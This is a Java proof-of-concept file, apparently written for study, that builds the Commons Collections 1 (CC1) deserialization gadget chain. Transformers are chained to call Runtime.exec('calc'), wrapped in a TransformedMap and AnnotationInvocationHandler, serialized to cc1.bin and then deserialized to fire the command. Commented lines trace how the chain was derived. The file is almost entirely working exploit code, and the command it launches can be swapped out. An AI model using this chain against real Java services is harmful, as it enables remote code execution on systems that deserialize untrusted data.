【Java反序列化】CC1调用链poc

package demo3.cc1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.crypto.dsig.Transform;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
    public static void main(String[] args) throws Exception {

//        Runtime.getRuntime().exec("calc");
//        Runtime runtime = Runtime.getRuntime();
//        Class clazz = Runtime.class;
//        Method execMethod = clazz.getMethod("exec", String.class);
//        execMethod.invoke(runtime,"calc");

//        Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
//        Runtime runtime = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}).transform(getRuntimeMethod);
//        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

//        Class clazz = Runtime.class;
//        Method getRuntimeMethod1 = clazz.getMethod("getRuntime", null);
//        Runtime runtime = (Runtime) getRuntimeMethod1.invoke(null, null);
//        Method execMethod = clazz.getMethod("exec", String.class);
//        execMethod.invoke(runtime, "calc");

//        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
//        invokerTransformer.transform(runtime);
        HashMap map = new HashMap<>();
        map.put("value", "value");
        Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer);

        Class clazz1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationHandlerConstructor = clazz1.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationHandlerConstructor.setAccessible(true);
        Object object = annotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap);

        //Entry代表一个键值对
//        for (Map.Entry entry : transformedMap.entrySet()) {
//            entry.setValue(runtime);
//        }

        FileOutputStream fileOutputStream = new FileOutputStream("cc1.bin");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(object);
        fileOutputStream.close();
        objectOutputStream.close();

        FileInputStream inputStream = new FileInputStream("cc1.bin");
        ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
        objectInputStream.readObject();
        objectInputStream.close();
        inputStream.close();
        
    }
}